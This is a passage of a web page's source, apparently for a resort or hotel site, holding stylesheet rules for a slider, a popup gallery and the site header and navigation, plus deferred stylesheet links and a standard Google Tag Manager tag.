2724  -khtml-user-select: none;
2725  -moz-user-select: none;
2726  -ms-user-select: none;
2727  user-select: none;
2728  -ms-touch-action: pan-y;
2729  touch-action: pan-y;
2730  -webkit-tap-highlight-color: transparent;
2731}
2732
2733.slick-list {
2734  position: relative;
2735  overflow: hidden;
2736  display: block;
2737  margin: 0;
2738  padding: 0;
2739}
2740
2741.slick-list:focus {
2742  outline: none;
2743}
2744
2745.slick-list.dragging {
2746  cursor: pointer;
2747  cursor: hand;
2748}
2749
2750.slick-slider .slick-track,
2751.slick-slider .slick-list {
2752  -webkit-transform: translate3d(0, 0, 0);
2753  -moz-transform: translate3d(0, 0, 0);
2754  -ms-transform: translate3d(0, 0, 0);
2755  -o-transform: translate3d(0, 0, 0);
2756  transform: translate3d(0, 0, 0);
2757}
2758
2759.slick-track {
2760  position: relative;
2761  left: 0;
2762  top: 0;
2763  display: block;
2764  margin-left: auto;
2765  margin-right: auto;
2766}
2767
2768.slick-track:before, .slick-track:after {
2769  content: "";
2770  display: table;
2771}
2772
2773.slick-track:after {
2774  clear: both;
2775}
2776
2777.slick-loading .slick-track {
2778  visibility: hidden;
2779}
2780
2781.slick-slide {
2782  float: left;
2783  height: 100%;
2784  min-height: 1px;
2785  display: none;
2786}
2787
2788[dir="rtl"] .slick-slide {
2789  float: right;
2790}
2791
2792.slick-slide img {
2793  display: block;
2794}
2795
2796.slick-slide.slick-loading img {
2797  display: none;
2798}
2799
2800.slick-slide.dragging img {
2801  pointer-events: none;
2802}
2803
2804.slick-initialized .slick-slide {
2805  display: block;
2806}
2807
2808.slick-loading .slick-slide {
2809  visibility: hidden;
2810}
2811
2812.slick-vertical .slick-slide {
2813  display: block;
2814  height: auto;
2815  border: 1px solid transparent;
2816}
2817
2818.slick-arrow.slick-hidden {
2819  display: none;
2820}
2821
2822/* Variables
2823**********************************/
2824/* all vars, no need for @if critical */
2825/* breakpoints */
2826/* Animation - see header.scss for usage examples */
2827/* Form placeholders */
2828/* Usage:
2829
2830	.foo {
2831	  @include placeholder {
2832		color: green;
2833	  }
2834	}
2835
2836	@include placeholder {
2837	  color: red;
2838	}
2839*/
2840/* Flexbox 
2841***************************************/
2842/* Card */
2843/* Filter */
2844/* Gridder */
2845/* Variables
2846**********************************/
2847/* all vars, no need for @if critical */
2848/* breakpoints */
2849/* Animation - see header.scss for usage examples */
2850/* Form placeholders */
2851/* Usage:
2852
2853	.foo {
2854	  @include placeholder {
2855		color: green;
2856	  }
2857	}
2858
2859	@include placeholder {
2860	  color: red;
2861	}
2862*/
2863/* Flexbox 
2864***************************************/
2865/* Card */
2866/* Filter */
2867/* Gridder */
2868/* Magnific Popup CSS */
2869.mfp-bg {
2870  top: 0;
2871  left: 0;
2872  width: 100%;
2873  height: 100%;
2874  z-index: 1042;
2875  overflow: hidden;
2876  position: fixed;
2877  background: #0b0b0b;
2878  opacity: 0.8;
2879}
2880
2881.mfp-wrap {
2882  top: 0;
2883  left: 0;
2884  width: 100%;
2885  height: 100%;
2886  z-index: 1043;
2887  position: fixed;
2888  outline: none !important;
2889  -webkit-backface-visibility: hidden;
2890}
2891
2892.mfp-container {
2893  text-align: center;
2894  position: absolute;
2895  width: 100%;
2896  height: 100%;
2897  left: 0;
2898  top: 0;
2899  padding: 0 8px;
2900  box-sizing: border-box;
2901}
2902
2903.mfp-container:before {
2904  content: '';
2905  display: inline-block;
2906  height: 100%;
2907  vertical-align: middle;
2908}
2909
2910.mfp-align-top .mfp-container:before {
2911  display: none;
2912}
2913
2914.mfp-content {
2915  position: relative;
2916  display: inline-block;
2917  vertical-align: middle;
2918  margin: 0 auto;
2919  text-align: left;
2920  z-index: 1045;
2921}
2922
2923.mfp-inline-holder .mfp-content,
2924.mfp-ajax-holder .mfp-content {
2925  width: 100%;
2926  cursor: auto;
2927}
2928
2929.mfp-ajax-cur {
2930  cursor: progress;
2931}
2932
2933.mfp-zoom-out-cur, .mfp-zoom-out-cur .mfp-image-holder .mfp-close {
2934  cursor: -moz-zoom-out;
2935  cursor: -webkit-zoom-out;
2936  cursor: zoom-out;
2937}
2938
2939.mfp-zoom {
2940  cursor: pointer;
2941  cursor: -webkit-zoom-in;
2942  cursor: -moz-zoom-in;
2943  cursor: zoom-in;
2944}
2945
2946.mfp-auto-cursor .mfp-content {
2947  cursor: auto;
2948}
2949
2950.mfp-close,
2951.mfp-arrow,
2952.mfp-preloader,
2953.mfp-counter {
2954  -webkit-user-select: none;
2955  -moz-user-select: none;
2956  user-select: none;
2957}
2958
2959.mfp-loading.mfp-figure {
2960  display: none;
2961}
2962
2963.mfp-hide {
2964  display: none !important;
2965}
2966
2967.mfp-preloader {
2968  color: #CCC;
2969  position: absolute;
2970  top: 50%;
2971  width: auto;
2972  text-align: center;
2973  margin-top: -0.8em;
2974  left: 8px;
2975  right: 8px;
2976  z-index: 1044;
2977}
2978
2979.mfp-preloader a {
2980  color: #CCC;
2981}
2982
2983.mfp-preloader a:hover {
2984  color: #FFF;
2985}
2986
2987.mfp-s-ready .mfp-preloader {
2988  display: none;
2989}
2990
2991.mfp-s-error .mfp-content {
2992  display: none;
2993}
2994
2995button.mfp-close,
2996button.mfp-arrow {
2997  overflow: visible;
2998  cursor: pointer;
2999  background: transparent;
3000  border: 0;
3001  -webkit-appearance: none;
3002  display: block;
3003  outline: none;
3004  padding: 0;
3005  z-index: 1046;
3006  box-shadow: none;
3007  touch-action: manipulation;
3008}
3009
3010button::-moz-focus-inner {
3011  padding: 0;
3012  border: 0;
3013}
3014
3015.mfp-close {
3016  width: 44px;
3017  height: 44px;
3018  line-height: 44px;
3019  position: absolute;
3020  right: 0;
3021  top: 0;
3022  text-decoration: none;
3023  text-align: center;
3024  opacity: 0.65;
3025  padding: 0 0 18px 10px;
3026  color: #FFF;
3027  font-style: normal;
3028  font-size: 28px;
3029  font-family: Arial, Baskerville, monospace;
3030}
3031
3032.mfp-close:hover,
3033.mfp-close:focus {
3034  opacity: 1;
3035}
3036
3037.mfp-close:active {
3038  top: 1px;
3039}
3040
3041.mfp-close-btn-in .mfp-close {
3042  color: #333;
3043}
3044
3045.mfp-image-holder .mfp-close,
3046.mfp-iframe-holder .mfp-close {
3047  color: #FFF;
3048  right: -6px;
3049  text-align: right;
3050  padding-right: 6px;
3051  width: 100%;
3052}
3053
3054.mfp-counter {
3055  position: absolute;
3056  top: 0;
3057  right: 0;
3058  color: #CCC;
3059  font-size: 12px;
3060  line-height: 18px;
3061  white-space: nowrap;
3062}
3063
3064.mfp-arrow {
3065  position: absolute;
3066  opacity: 0.65;
3067  margin: 0;
3068  top: 50%;
3069  margin-top: -55px;
3070  padding: 0;
3071  width: 90px;
3072  height: 110px;
3073  -webkit-tap-highlight-color: transparent;
3074}
3075
3076.mfp-arrow:active {
3077  margin-top: -54px;
3078}
3079
3080.mfp-arrow:hover,
3081.mfp-arrow:focus {
3082  opacity: 1;
3083}
3084
3085.mfp-arrow:before,
3086.mfp-arrow:after {
3087  content: '';
3088  display: block;
3089  width: 0;
3090  height: 0;
3091  position: absolute;
3092  left: 0;
3093  top: 0;
3094  margin-top: 35px;
3095  margin-left: 35px;
3096  border: medium inset transparent;
3097}
3098
3099.mfp-arrow:after {
3100  border-top-width: 13px;
3101  border-bottom-width: 13px;
3102  top: 8px;
3103}
3104
3105.mfp-arrow:before {
3106  border-top-width: 21px;
3107  border-bottom-width: 21px;
3108  opacity: 0.7;
3109}
3110
3111.mfp-arrow-left {
3112  left: 0;
3113}
3114
3115.mfp-arrow-left:after {
3116  border-right: 17px solid #FFF;
3117  margin-left: 31px;
3118}
3119
3120.mfp-arrow-left:before {
3121  margin-left: 25px;
3122  border-right: 27px solid #3F3F3F;
3123}
3124
3125.mfp-arrow-right {
3126  right: 0;
3127}
3128
3129.mfp-arrow-right:after {
3130  border-left: 17px solid #FFF;
3131  margin-left: 39px;
3132}
3133
3134.mfp-arrow-right:before {
3135  border-left: 27px solid #3F3F3F;
3136}
3137
3138.mfp-iframe-holder {
3139  padding-top: 40px;
3140  padding-bottom: 40px;
3141}
3142
3143.mfp-iframe-holder .mfp-content {
3144  line-height: 0;
3145  width: 100%;
3146  max-width: 900px;
3147}
3148
3149.mfp-iframe-holder .mfp-close {
3150  top: -40px;
3151}
3152
3153.mfp-iframe-scaler {
3154  width: 100%;
3155  height: 0;
3156  overflow: hidden;
3157  padding-top: 56.25%;
3158}
3159
3160.mfp-iframe-scaler iframe {
3161  position: absolute;
3162  display: block;
3163  top: 0;
3164  left: 0;
3165  width: 100%;
3166  height: 100%;
3167  box-shadow: 0 0 8px rgba(0, 0, 0, 0.6);
3168  background: #000;
3169}
3170
3171/* Main image in popup */
3172img.mfp-img {
3173  width: auto;
3174  max-width: 100%;
3175  height: auto;
3176  display: block;
3177  line-height: 0;
3178  box-sizing: border-box;
3179  padding: 40px 0 40px;
3180  margin: 0 auto;
3181}
3182
3183/* The shadow behind the image */
3184.mfp-figure {
3185  line-height: 0;
3186}
3187
3188.mfp-figure:after {
3189  content: '';
3190  position: absolute;
3191  left: 0;
3192  top: 40px;
3193  bottom: 40px;
3194  display: block;
3195  right: 0;
3196  width: auto;
3197  height: auto;
3198  z-index: -1;
3199  box-shadow: 0 0 8px rgba(0, 0, 0, 0.6);
3200  background: #444;
3201}
3202
3203.mfp-figure small {
3204  color: #BDBDBD;
3205  display: block;
3206  font-size: 12px;
3207  line-height: 14px;
3208}
3209
3210.mfp-figure figure {
3211  margin: 0;
3212}
3213
3214.mfp-bottom-bar {
3215  margin-top: -36px;
3216  position: absolute;
3217  top: 100%;
3218  left: 0;
3219  width: 100%;
3220  cursor: auto;
3221}
3222
3223.mfp-title {
3224  text-align: left;
3225  line-height: 18px;
3226  color: #F3F3F3;
3227  word-wrap: break-word;
3228  padding-right: 36px;
3229}
3230
3231.mfp-image-holder .mfp-content {
3232  max-width: 100%;
3233}
3234
3235.mfp-gallery .mfp-image-holder .mfp-figure {
3236  cursor: pointer;
3237}
3238
3239@media screen and (max-width: 800px) and (orientation: landscape), screen and (max-height: 300px) {
3240  /**
3241       * Remove all paddings around the image on small screen
3242       */
3243  .mfp-img-mobile .mfp-image-holder {
3244    padding-left: 0;
3245    padding-right: 0;
3246  }
3247  .mfp-img-mobile img.mfp-img {
3248    padding: 0;
3249  }
3250  .mfp-img-mobile .mfp-figure:after {
3251    top: 0;
3252    bottom: 0;
3253  }
3254  .mfp-img-mobile .mfp-figure small {
3255    display: inline;
3256    margin-left: 5px;
3257  }
3258  .mfp-img-mobile .mfp-bottom-bar {
3259    background: rgba(0, 0, 0, 0.6);
3260    bottom: 0;
3261    margin: 0;
3262    top: auto;
3263    padding: 3px 5px;
3264    position: fixed;
3265    box-sizing: border-box;
3266  }
3267  .mfp-img-mobile .mfp-bottom-bar:empty {
3268    padding: 0;
3269  }
3270  .mfp-img-mobile .mfp-counter {
3271    right: 5px;
3272    top: 3px;
3273  }
3274  .mfp-img-mobile .mfp-close {
3275    top: 0;
3276    right: 0;
3277    width: 35px;
3278    height: 35px;
3279    line-height: 35px;
3280    background: rgba(0, 0, 0, 0.6);
3281    position: fixed;
3282    text-align: center;
3283    padding: 0;
3284  }
3285}
3286
3287@media all and (max-width: 900px) {
3288  .mfp-arrow {
3289    -webkit-transform: scale(0.75);
3290    transform: scale(0.75);
3291  }
3292  .mfp-arrow-left {
3293    -webkit-transform-origin: 0;
3294    transform-origin: 0;
3295  }
3296  .mfp-arrow-right {
3297    -webkit-transform-origin: 100%;
3298    transform-origin: 100%;
3299  }
3300  .mfp-container {
3301    padding-left: 6px;
3302    padding-right: 6px;
3303  }
3304}
3305
3306/* Fade in effect */
3307/* overlay at start */
3308.mfp-fade.mfp-bg {
3309  opacity: 0;
3310  -webkit-transition: all 0.15s ease-out;
3311  -moz-transition: all 0.15s ease-out;
3312  transition: all 0.15s ease-out;
3313}
3314
3315/* overlay animate in */
3316.mfp-fade.mfp-bg.mfp-ready {
3317  opacity: 0.8;
3318}
3319
3320/* overlay animate out */
3321.mfp-fade.mfp-bg.mfp-removing {
3322  opacity: 0;
3323}
3324
3325/* content at start */
3326.mfp-fade.mfp-wrap .mfp-content {
3327  opacity: 0;
3328  -webkit-transition: all 0.15s ease-out;
3329  -moz-transition: all 0.15s ease-out;
3330  transition: all 0.15s ease-out;
3331}
3332
3333/* content animate it */
3334.mfp-fade.mfp-wrap.mfp-ready .mfp-content {
3335  opacity: 1;
3336}
3337
3338/* content animate out */
3339.mfp-fade.mfp-wrap.mfp-removing .mfp-content {
3340  opacity: 0;
3341}
3342
3343/* Variables
3344**********************************/
3345/* all vars, no need for @if critical */
3346/* breakpoints */
3347/* Animation - see header.scss for usage examples */
3348/* Form placeholders */
3349/* Usage:
3350
3351	.foo {
3352	  @include placeholder {
3353		color: green;
3354	  }
3355	}
3356
3357	@include placeholder {
3358	  color: red;
3359	}
3360*/
3361/* Flexbox 
3362***************************************/
3363/* Card */
3364/* Filter */
3365/* Gridder */
3366/*************************************** 
3367	INLINE STYLES - Above the fold
3368****************************************/
3369.popup-outer {
3370  display: none;
3371}
3372
3373/*************************************** 
3374	DEFERRED STYLES
3375****************************************/
3376/*
3377	MDAdmin website
3378    main style sheet:  style.scss
3379
3380    Surround parts that emit css with inline, head, or after.  
3381    This will break the CSS up into inline in the head, link reference in the head,
3382    and deffered link refered loaded after the </body> tag is processed.
3383    Variables, mixins etc that do not of themselves emit css stay outside those
3384    conditions and in fact are probably needed by all 3 conditions.
3385
3386********************************************/
3387</style>
3388        
3389        
3390        <!-- inline bundles -->
3391        
3392        <noscript id="deferred-styles">
3393        <link href="/css/after.css?v=aqfaUVLboszjjb4xE7yj9kAVhuuGueZ426RNS_Rk_1s1" rel="stylesheet"/>
3394
3395        <link href="/css/fontello/css/fontello.css" rel="stylesheet"   >
3396        <link href="/css/custom-theme/jquery-ui.min.css" rel="stylesheet"   >
3397        <link href="/components/book/css/book_after.css?v=dwd_lozt_a2nyw1xp7m4juergoij1rsherdbcd2jwmg1" rel="stylesheet"   >
3398        <link href="/css/auto-bundles/pages/interior_after.css?v=7qwuofvrat8tvsurdmjcp4oylhlcr6bd_fyb4huem0i1" rel="stylesheet"   >
3399        <link href="/components/home_callouts/css/home_callouts_after.css?v=wyiakpqijob41b8qn653wz9cfrqwoqiucq1hcp6ogum1" rel="stylesheet"   >
3400        <link href="/components/social/css/social_after.css?v=dqmw2wdrtldeo-jwagbkbvqaqdz7npv7pryepjywsdm1" rel="stylesheet"   >
3401        <link href="/components/footer/css/footer_after.css?v=vyst1kyld7weqrxyksgbj43djfbsrbzsras3mvoxh641" rel="stylesheet"   >
3402        <link href="/components/forms/eclub/css/eclub_after.css?v=evycwbt31i2kl7j7unfqggb_gyxaxjr9_othksvtxns1" rel="stylesheet"   >
3403        </noscript>
3404
3405        
3406    </head>
3407    <body  class="">
3408        
3409
3410        
3411
3412        
3413
3414                    
3415        <!-- Google Tag Manager (noscript) -->
vendor: 77 bytes, lines 3415-3416
3415
3416        <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=
3416GTM-TD566NW
vendor: 101 bytes, lines 3416-3418
3416"
3417        height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
3418        
3418<!-- End Google Tag Manager (noscript) -->
3419
3420        
3421                    
3422            
3423        <style>.skip-nav-link{position:absolute;top:-4em;left:0;z-index:1001;padding:1em 1.5em;background-color:#ff671f;color:#fff;width:auto;height:auto;transition:top 1s ease-out}.skip-nav-link:focus{top:0;outline-color:transparent;transition:top .1s ease-in}.site-header{box-sizing:border-box;position:fixed;top:0;left:0;z-index:100;width:100%;color:#fff;transition:background-color .35s,color .35s}@media screen and (max-width:767px){.site-header{background-color:#fff;color:#56534d}}.site-header::before{content:'';pointer-events:none;position:absolute;top:0;left:0;z-index:-1;width:100%;height:20vh;background:linear-gradient(rgba(0,0,0,.7),rgba(0,0,0,0));transition:opacity .35s}@media screen and (max-width:767px){.site-header::before{content:none}}.active-subnav .site-header::before{opacity:0;transition:opacity 0s}.book-active .site-header::before,.isHeaderMin .site-header::before{opacity:0}.active-subnav .site-header{background-color:#fff;color:#56534d;transition:background-color 0s}.book-active .site-header,.isHeaderMin .site-header{background-color:#fff;color:#56534d;border-bottom:1px solid #ccc}.site-header-inner{box-sizing:border-box;max-width:1280px;width:94%;padding-top:1em;display:flex;transition:padding-top .35s}@media screen and (max-width:767px){.site-header-inner{padding:0;min-height:60px;width:auto;align-items:center}}.isHeaderMin .site-header-inner{padding-top:0}.site-logo{width:196px;height:80px;color:currentColor;overflow:hidden;margin:0 0 .75em;transition:width .35s,height .35s,margin .35s}@media screen and (max-width:1023px){.site-logo{width:150px;height:61px}}@media screen and (max-width:767px){.site-logo{width:116px;height:47px;margin-left:1em}}@media screen and (max-width:480px){.site-logo{margin-left:.5em}}.site-logo a{display:block;width:100%;height:100%;color:currentColor}.site-logo a:focus{outline:1px solid;outline-offset:-2px}.site-logo svg{width:100%;height:100%}.site-logo .sl-1{fill:#ff671f}.site-logo .sl-2,.site-logo .sl-3,.site-logo .sl-4,.site-logo .sl-5,.site-logo .sl-6{fill:currentColor}.isHeaderMin .site-logo{width:116px;height:47px;margin:.25em 0}.site-logo-mkbh{width:160px;height:90px;transition:width .35s,height .35s,margin .35s}@media screen and (max-width:767px){.site-logo-mkbh{width:84px;height:47px;margin-left:1em}}.site-logo-mkbh a{display:block;width:100%;height:100%;background-position:center;background-repeat:no-repeat;background-image:url(/images/layout/logos/mkbh-white.png);background-size:contain}@media screen and (max-width:767px){.site-logo-mkbh a{background-image:url(/images/layout/logos/mkbh-color.png)}}.book-active .site-logo-mkbh a,.active-subnav .site-logo-mkbh a,.isHeaderMin .site-logo-mkbh a{background-image:url(/images/layout/logos/mkbh-color.png)}.isHeaderMin .site-logo-mkbh{width:84px;height:47px;margin:.25em 0}.site-logo-westin{width:152px;height:56px;color:currentColor;overflow:hidden;margin:0;align-self:center;transition:width .35s,height .35s,margin .35s}@media screen and (max-width:767px){.site-logo-westin{width:116px;height:43px;margin-left:1em}}@media screen and (max-width:480px){.site-logo-westin{margin-left:.5em}}.site-logo-westin a{color:currentColor}.site-logo-westin svg{width:100%;height:100%}.site-logo-westin .sl-westin-fill{fill:currentColor}.isHeaderMin .site-logo-westin{width:116px;height:43px;margin:.25em 0}.site-logo-mkr{width:196px;height:80px;color:currentColor;overflow:hidden;margin:0;transition:width .35s,height .35s,margin .35s}@media screen and (max-width:1023px){.site-logo-mkr{width:150px;height:61px}}@media screen and (max-width:767px){.site-logo-mkr{width:116px;height:47px;margin-left:1em}}@media screen and (max-width:480px){.site-logo-mkr{margin-left:.5em}}.site-logo-mkr a{color:currentColor}.site-logo-mkr svg{width:100%;height:100%}.site-logo-mkr .mkr-logo-1{fill:#ff671f}.site-logo-mkr .mkr-logo-2,.site-logo-mkr .mkr-logo-3,.site-logo-mkr .mkr-logo-4,.site-logo-mkr .mkr-logo-5,.site-logo-mkr .mkr-logo-6{fill:currentColor}.isHeaderMin .site-logo-mkr{width:116px;height:47px;margin:.25em 0}.site-nav{box-sizing:border-box;width:75%;display:flex;align-items:flex-end;transition:width .35s,align-items .35s}@media screen and (max-width:1023px){.site-nav{width:96%}}@media screen and (max-width:767px){.site-nav{width:100%}}.site-nav .btn-pill{font-size:.75rem;margin-bottom:.85em;transition:font-size .35s,margin-bottom .35s}.site-nav .btn-pill span:not(.button-bg){padding:.6rem 1.5rem}.site-nav .btn-pill .button-bg::before,.site-nav .btn-pill .button-bg::after{background-color:#161441}.isHeaderMin .site-nav .btn-pill{font-size:.65rem;margin-bottom:.75em}.isHeaderMin .site-nav{width:60%}@media screen and (max-width:1023px){.isHeaderMin .site-nav{width:80%}}@media(hover:hover){.site-nav .nav-dine .level3 .green:hover{color:#529d6e}.site-nav .nav-dine .level3 .green:hover::before{background-color:#529d6e}}.primary-nav{font-family:"Nunito Sans",sans-serif;flex:1;display:flex;margin-right:1em}@media screen and (max-width:767px){.primary-nav{display:block;margin-right:0}}.primary-nav>li{flex:1}@media screen and (max-width:767px){.primary-nav>li{border-bottom:1px solid #ccc}}.primary-nav>li:hover .pn-link{color:#ff671f}@media screen and (max-width:767px){.primary-nav>li:hover .pn-link{background-color:#ff671f;color:#fff}}.primary-nav>li:hover .pn-link>span:after{width:100%}@media screen and (max-width:767px){.primary-nav>li:hover .pn-link::after{display:block}}.primary-nav>li.nav-golf,.primary-nav>li.nav-culture{position:relative}@media screen and (max-width:1023px){.primary-nav>li.nav-golf,.primary-nav>li.nav-culture{position:static}}.primary-nav>li.nav-golf .dd-nav,.primary-nav>
3423li.nav-culture .dd-nav{left:auto;right:-2em;min-width:700px;transform:translate(0,-20px)}@media screen and (max-width:1023px){.primary-nav>li.nav-golf .dd-nav,.primary-nav>li.nav-culture .dd-nav{left:0;right:auto;min-width:0}}.primary-nav>li.nav-golf .dd-nav.open,.primary-nav>li.nav-culture .dd-nav.open{transform:translate(0,0)}.pn-link{display:block;position:relative;color:currentColor;padding:0 0 1.15em;font-size:.813rem;font-weight:600;letter-spacing:.1em;text-align:center;text-transform:uppercase;transition:font-size .35s,padding .35s}@media screen and (max-width:767px){.pn-link{padding:.5em 50px .5em 1.5em;text-align:left}}.pn-link>span{display:inline-block;position:relative}.pn-link>span:after{-webkit-transition:width .35s;-moz-transition:width .35s;-ms-transition:width .35s;transition:width .35s;-webkit-transform:translateX(-50%);-moz-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);content:'';position:absolute;top:calc(100% - 1px);left:50%;width:0;height:1px;background-color:#ff671f;pointer-events:none}@media screen and (max-width:1023px){.pn-link>span:after{content:none}}.pn-link::after{content:'';font-family:'fontello';font-size:1.1rem;pointer-events:none;position:absolute;top:50%;right:1em;width:25px;height:25px;background-color:#fff;color:#ff671f;border-radius:50%;text-align:center;display:none;transform:translateY(-50%)}.isHeaderMin .pn-link{font-size:.75rem;padding:0 0 .8em}.is-admin .pn-link{pointer-events:none}.utility{overflow:hidden;font-family:"Lora",serif;font-size:.8rem;letter-spacing:.035em;margin-bottom:.75em;max-height:60px;transition:max-height .35s,margin-bottom .35s}@media screen and (max-width:767px){.utility{margin-bottom:0;border-bottom:1px solid #ccc}}@media screen and (max-width:767px){.utility .un-ww{display:none}}.isHeaderMin .utility{max-height:0;margin-bottom:0}.weather-widget{display:flex;align-items:center;margin:0 1em}.weather-widget .weather-icon{width:20px;margin-right:.5em}.weather-widget .weather-icon path{fill:currentColor}.weather-widget .pipe{margin:0 .5em}.utility-nav{display:flex;align-items:center}@media screen and (max-width:767px){.utility-nav{justify-content:center}}.utility-nav a{display:block;padding:.25em .75em;color:currentColor}@media screen and (max-width:767px){.utility-nav a{padding:.75em}}.utility-nav a:hover{color:#ff671f}.utility-nav a:focus{outline:1px solid;outline-offset:-1px}.mobile-utility{margin-right:60px;display:none}@media screen and (max-width:767px){.mobile-utility{flex:1;display:flex;align-items:center;justify-content:flex-end}}.mobile-utility .btn-pill{font-size:.7rem;margin-left:.5em}.mobile-utility .btn-pill span:not(.button-bg){padding:.656rem}.mobile-utility .btn-pill .button-bg::before,.mobile-utility .btn-pill .button-bg::after{background-color:#161441}.nav-panel{flex:1;display:flex;flex-direction:column;align-items:flex-end;justify-content:flex-end}@media screen and (max-width:767px){.nav-panel{position:absolute;top:100%;left:0;width:100%;height:calc(100vh - 60px);background-color:#fff;color:currentColor;border-top:1px solid #ccc;overflow-y:auto;display:none}}@media screen and (max-width:767px){.active-nav .nav-panel{display:block}}.dd-nav{-webkit-transition:opacity .35s;-moz-transition:opacity .35s;-ms-transition:opacity .35s;transition:opacity .35s;box-sizing:border-box;position:absolute;top:100%;left:50%;z-index:-1;width:740px;background-color:#fff;color:#000;padding:2em;font-size:.9em;box-shadow:0 9px 9px 0 rgba(0,0,0,.25);opacity:0;pointer-events:none;overflow:hidden;transform:translate(-50%,-20px);transition:opacity .6s ease,transform .6s ease}
3423@media screen and (max-width:1023px){.dd-nav{left:0;width:100%;transform:translate(0,-20px)}}@media screen and (max-width:767px){.dd-nav{position:relative;top:auto;left:auto;padding:0;box-shadow:none;background-color:transparent;z-index:auto;opacity:1;transform:translateY(0);pointer-events:auto;display:none}}.dd-nav.open{z-index:auto;opacity:1;transform:translate(-50%,0);pointer-events:auto}@media screen and (max-width:1023px){.dd-nav.open{display:block;transform:translate(0,0)}}.dd-nav .col{box-sizing:border-box}@media screen and (max-width:1023px){.dd-nav .col{width:auto}}.dd-nav .col-1{box-sizing:border-box;display:flex;padding-right:2em;min-width:200px}@media screen and (max-width:1023px){.dd-nav .col-1{display:block;padding-right:0}}.dd-nav .col-2{min-width:415px;flex:0 0 415px}@media screen and (max-width:767px){.dd-nav .col-2{display:none}}.dd-nav a:focus{outline:1px dotted;outline-offset:2px}.nav-stay .dd-nav{width:740px}@media screen and (max-width:1023px){.nav-stay .dd-nav{width:auto}}.nav-play .dd-nav{width:860px}@media screen and (max-width:1023px){.nav-play .dd-nav{width:auto}}.nav-dine .dd-nav{width:940px}@media screen and (max-width:1023px){.nav-dine .dd-nav{width:auto}}.dd-nav-inner{display:flex;justify-content:space-between}@media screen and (max-width:767px){.dd-nav-inner{display:block}}.subnav-menu{}.subnav-menu ul::after{content:'';width:100%;display:inline-block}@media screen and (max-width:1023px){.subnav-menu ul::after{content:none}}.nav-play .subnav-menu,.nav-dine .subnav-menu{column-count:2;column-gap:3em}@media screen and (max-width:1023px){.nav-play .subnav-menu,.nav-dine .subnav-menu{column-gap:1.5em}}@media screen and (max-width:767px){.nav-play .subnav-menu,.nav-dine .subnav-menu{column-count:auto;column-gap:normal}}.nav-dine .subnav-menu{max-width:360px;column-gap:2em}@media screen and (max-width:1023px){.nav-dine .subnav-menu{column-gap:1.5em}}@media screen and (max-width:767px){.nav-dine .subnav-menu{max-width:none}}.subnav>li{margin-bottom:.25em;break-inside:avoid-column}@media screen and (max-width:1023px){.subnav>li:hover .level3{display:block}}.subnav .level3{margin-left:1em}@media screen and (max-width:767px){.subnav .level3{margin-left:0}}.subnav .level3 a{display:inline-block;padding:.25em 0;color:#6d6d6d;position:relative;white-space:nowrap}@media screen and (max-width:1023px){.subnav .level3 a{padding-left:1em;padding-right:1em;white-space:normal}}@media screen and (max-width:767px){.subnav .level3 a{padding-left:2.5em;padding-right:2.5em}}@media(hover:hover){.subnav .level3 a:hover{color:#ff671f}.subnav .level3 a:hover::before{content:'';pointer-events:none;width:0;height:1px;position:absolute;top:100%;left:0;background-color:#ff671f;transition:width .35s}}@media screen and (hover:hover) and (max-width:1023px){.subnav .level3 a:hover::before{content:none}}.subnav .level3 a:hover::before{width:100%}.sn-link{position:relative;display:block;padding:.25em;color:#000;letter-spacing:.025em;white-space:nowrap}@media screen and (max-width:767px){.sn-link{padding:.25em 1.5em;white-space:normal}}.sn-link span{display:inline-block;position:relative}.sn-link span:after{-webkit-transition:width .35s;-moz-transition:width .35s;-ms-transition:width .35s;transition:width .35s;content:'';position:absolute;top:calc(100% - 1px);left:0;width:0;height:1px;background-color:#ff671f;pointer-events:none}@media screen and (max-width:1023px){.sn-link span:after{content:none}}.sn-link:hover{color:#ff671f}.sn-link:hover span::after{width:100%}.subnav-promo .caption-grad{height:210px;margin-bottom:.5em;line-height:1.3em;position:relative;overflow:hidden;background-color:#000;color:#fff}.subnav-promo .caption-grad figcaption{box-sizing:border-box;position:absolute;left:0;bottom:0;z-index:2;width:100%;padding:.65em;text-align:center;font-size:2em;font-weight:200;text-transform:uppercase;line-height:1;filter:drop-shadow(0 0 .5em #000)}.subnav-promo p{margin-bottom:.75em;line-height:1.4em;font-size:.813rem}.subnav-promo p:last-of-type{margin-bottom:0}.subnav-promo .lm{font-size:.9em;letter-spacing:.075em}.subnav-promo-img{height:100%;overflow:hidden}.nav-toggle{-webkit-transition:top .35s;-moz-transition:top .35s;-ms-transition:top .35s;transition:top .35s;position:absolute;bottom:0;right:0;width:60px;height:60px;color:currentColor;display:none}@media screen and (max-width:767px){.nav-toggle{display:block}}.nav-toggle>span{-webkit-transition:background-color 0s .3s;-moz-transition:background-color 0s .3s;-ms-transition:background-color 0s .3s;transition:background-color 0s .3s;display:block;position:absolute;top:30px;left:11px;right:11px;height:1px;background-color:currentColor}.nav-toggle>span:before{-webkit-transition-duration:.3s,.3s;-moz-transition-duration:.3s,.3s;transition-duration:.3s,.3s;-webkit-transition-delay:.3s,0s;-moz-transition-delay:.3s,0s;transition-delay:.3s,0s;-webkit-transition-property:top,transform;-moz-transition-property:top,transform;transition-property:top,transform;top:-9px;background-color:currentColor;content:"";display:block;height:1px;left:0;position:absolute;width:100%}.nav-toggle>span:after{-webkit-transition-duration:.3s,.3s;-moz-transition-duration:.3s,.3s;transition-duration:.3s,.3s;-webkit-transition-delay:.3s,0s;-moz-transition-delay:.3s,0s;transition-delay:.3s,0s;-webkit-transition-property:bottom,transform;-moz-transition-property:bottom,transform;transition-property:bottom,transform;bottom:-9px;background-color:currentColor;content:"";display:block;height:1px;left:0;position:absolute;width:100%}.nav-toggle>span>span{display:block;padding-top:15px;text-transform:uppercase;font-size:12px;color:currentColor}.active-nav .nav-toggle>span{background:none}.active-nav .nav-toggle>span:before{-webkit-transform:rotate(45deg);-moz-transform:rotate(45deg);-ms-transform:rotate(45deg);transform:rotate(45deg);top:0}.active-nav .nav-toggle>span:after{-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);-ms-transform:rotate(-45deg);transform:rotate(-45deg);bottom:0}.package-slider{width:415px;min-height:300px}.package-slider .slick-arrow{top:80px}.package-slider .slick-prev{left:0;transform:translate(5px,0%)}.package-slider .slick-prev:hover{transform:translate(0,0%)}.package-slider .slick-next{right:0;transform:translate(-5px,0%)}.package-slider .slick-next:hover{transform:translate(0,0%)}
